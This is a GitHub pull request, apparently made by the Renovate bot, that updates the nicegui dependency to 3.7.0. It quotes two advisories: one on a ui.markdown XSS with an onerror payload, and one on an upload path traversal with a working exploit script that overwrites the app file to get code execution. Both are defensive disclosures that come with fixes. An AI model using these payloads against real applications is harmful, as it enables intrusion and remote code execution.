Skip to content

chore(deps): update dependency nicegui to v3.7.0 [security] - #418

Merged
olivermeyer merged 1 commit into
mainfrom
renovate/pypi-nicegui-vulnerability
Feb 6, 2026
Merged

chore(deps): update dependency nicegui to v3.7.0 [security]#418
olivermeyer merged 1 commit into
mainfrom
renovate/pypi-nicegui-vulnerability

Conversation

@renovate

@renovaterenovateBot commented Feb 5, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

PackageChangeAgeConfidence
nicegui3.5.03.7.0ageconfidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

GitHub Vulnerability Alerts

CVE-2026-25516

Description

The ui.markdown() component uses the markdown2 library to convert markdown content to HTML, which is then rendered via innerHTML. By default, markdown2 allows raw HTML to pass through unchanged. This means that if an application renders user-controlled content through ui.markdown(), an attacker can inject malicious HTML containing JavaScript event handlers.

Unlike other NiceGUI components that render HTML (ui.html(), ui.chat_message(), ui.interactive_image()), the ui.markdown() component does not provide or require a sanitize parameter, leaving applications vulnerable to XSS attacks.

Proof of Concept

fromniceguiimportui# User-controlled input containing malicious payloaduser_input='Hello! <img src=x onerror="alert(\'XSS\')">'ui.markdown(user_input) # XSS executes when page loadsui.run()

When this page loads, the JavaScript in the onerror handler executes, potentially allowing an attacker to:

  • Steal session cookies or authentication tokens
  • Perform actions on behalf of the user
  • Redirect users to malicious sites
  • Modify page content

Impact

Applications that render user-provided content through ui.markdown() are vulnerable to stored or reflected XSS attacks. This is particularly concerning for:

  • Chat applications displaying user messages
  • CMS or documentation systems with user-editable content
  • Any application that displays markdown from untrusted sources

Remediation

A release has been published in version 3.7.0.

For Users (Immediate Workaround)

Until a fix is released, do not pass untrusted content directly to ui.markdown(). Instead, use one of these approaches:

Option 1: Convert and sanitize manually using ui.html()

importmarkdown2fromhtml_sanitizerimportSanitizersanitizer=Sanitizer()
defsafe_markdown(content: str) ->None:
"""Render markdown with HTML sanitization."""html=markdown2.markdown(content)
ui.html(sanitizer.sanitize(html), sanitize=False)
# Usagesafe_markdown(user_input)

Option 2: Escape HTML before markdown conversion (if raw HTML not needed)

importhtml# Escape HTML entities - prevents any HTML from being interpretedui.markdown(html.escape(user_input))

Proposed Fix

Add a sanitize parameter to ui.markdown() consistent with other HTML-rendering components, and/or add an escape_html parameter.

CVE-2026-25732

Summary

NiceGUI's FileUpload.name property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern UPLOAD_DIR / file.name. Malicious filenames containing ../ sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns.

Note: Exploitation requires application code incorporating file.name into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected.

Details

Vulnerable Component: nicegui/elements/upload_files.py (upload_files.py#L79-L82 and upload_files.py#L110-L115)

Affected Methods: SmallFileUpload.save()and LargeFileUpload.save()

asyncdefsave(self, path: str|Path) ->None:
target=Path(path)
target.parent.mkdir(parents=True, exist_ok=True)
awaitrun.io_bound(target.write_bytes, self._data)

Root Cause: The save() method performs no validation on the provided path parameter. It accepts:

  • Relative paths with ../ sequences
  • Absolute paths
  • Any file system location writable by the process

When developers use e.file.name (controlled by the attacker) in constructing save paths, directory traversal occurs:

save_path=UPLOAD_DIR/e.file.name# e.file.name = "../app.py"awaite.file.save(save_path) # Writes outside UPLOAD_DIR

PoC

  • Terminal 1 (App)
cd /tmp && mkdir -p evilgui &&cd evilgui
python3 -m venv evilgui &&source evilgui/bin/activate
pip install nicegui
cat > vulnerable_app.py << 'EOF'from nicegui import uifrom pathlib import PathUPLOAD_DIR = Path('./uploads')UPLOAD_DIR.mkdir(exist_ok=True)@&#8203;ui.page('/')def index(): async def handle_upload(e): save_path = UPLOAD_DIR / e.file.name await e.file.save(save_path) ui.notify(f'File saved: {e.file.name}') ui.upload(on_upload=handle_upload, auto_upload=True)ui.run(port=8080, reload=False)EOF
python3 vulnerable_app.py &
  • Terminal 2 (Exploit)
cat > exploit.py << 'EOF'import requests, re, times = requests.Session()s.get('http://localhost:8080')time.sleep(2)html = s.get('http://localhost:8080').textmatch = re.search(r'/_nicegui/client/([^/]+)/upload/(\d+)', html)upload_url = f'http://localhost:8080/_nicegui/client/{match[1]}/upload/{match[2]}'payload = '''from nicegui import uiimport subprocess@&#8203;ui.page("/")def index(): ui.label(subprocess.check_output(["id"], text=True))ui.run(port=8080, reload=False)'''s.post(upload_url, files={'file': ('../vulnerable_app.py', payload, 'text/x-python')})EOF
python3 exploit.py
  • Restart the application to execute the injected code:
pkill -f vulnerable_app && python3 vulnerable_app.py

Impact

Affected Applications: All NiceGUI applications using ui.upload() where developers save files with e.file.save() and include user-controlled filenames (e.g., e.file.name) in the path.

Attack Capabilities:

  • Write files to any location writable by the application process
  • Overwrite Python application files to achieve remote code execution upon restart
  • Overwrite configuration files to alter application behavior
  • Write SSH keys, systemd units, or cron jobs for persistent access
  • Deny service by corrupting critical files

Exploitability: Trivially exploitable without authentication. Attackers simply upload a file with a malicious filename like ../../../app.py to escape the upload directory. The vulnerability is prevalent in production applications as developers naturally use e.file.name directly, following patterns shown in community examples.

Remediation

For Users

asyncdefhandle_upload(e):
safe_name=Path(e.file.name).name# Strip directory components!awaite.file.save(UPLOAD_DIR/safe_name)

For Maintainers

asyncdefsave(self, path: str|Path, *, base_dir: Path|None=None) ->None:
target=Path(path).resolve()
ifbase_dirisnotNone:
base_dir=base_dir.resolve()
ifnottarget.is_relative_to(base_dir):
raiseValueError(
f"Path '{target}' escapes base directory '{base_dir}'"
)
target.parent.mkdir(parents=True, exist_ok=True)
awaitrun.io_bound(target.write_bytes, self._data)

Release Notes

zauberzeug/nicegui (nicegui)

v3.7.0

Compare Source

Security
New features and enhancements
Bugfixes
Documentation
Testing
Dependencies
Infrastructure

Special thanks to our top sponsors Lechler GmbH and TestMu AI

and all our other sponsors and contributors for supporting this project!

🙏 Want to support this project? Check out our GitHub Sponsors page to help us keep building amazing features!

v3.6.1

Compare Source

Bugfix
Testing

Special thanks to our top sponsors Lechler GmbH and TestMu AI

and all our other sponsors and contributors for supporting this project!

🙏 Want to support this project? Check out our GitHub Sponsors page to help us keep building amazing features!

v3.6.0

Compare Source

New features and enhancements
Bugfixes
Documentation
Testing

Special thanks to our top sponsors Lechler GmbH and TestMu AI

and all our other sponsors and contributors for supporting this project!

🙏 Want to support this project? Check out our GitHub Sponsors page to help us keep building amazing features!


Configuration

📅 Schedule: Branch creation - "" in timezone Europe/Berlin, Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovaterenovateBot added bot Automated pull requests or issues dependencies Pull requests that update a dependency file renovate Pull requests from Renovate skip:codecov Skip Codecov reporting and check skip:test:long_running Skip long-running tests (≥5min) labels Feb 5, 2026
@atlantis-platform-engineering

Copy link
Copy Markdown
Error: This repo is not allowlisted for Atlantis.

@renovate
renovateBotforce-pushed the renovate/pypi-nicegui-vulnerability branch from f73f9b1 to f318684CompareFebruary 6, 2026 09:54
@sonarqubecloud

Copy link
Copy Markdown

@olivermeyer
olivermeyer merged commit 783bd86 into mainFeb 6, 2026
24 of 25 checks passed
Sign up for freeto join this conversation on GitHub. Already have an account? Sign in to comment

Labels

botAutomated pull requests or issuesdependenciesPull requests that update a dependency filerenovatePull requests from Renovateskip:codecovSkip Codecov reporting and checkskip:test:long_runningSkip long-running tests (≥5min)

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant

@olivermeyer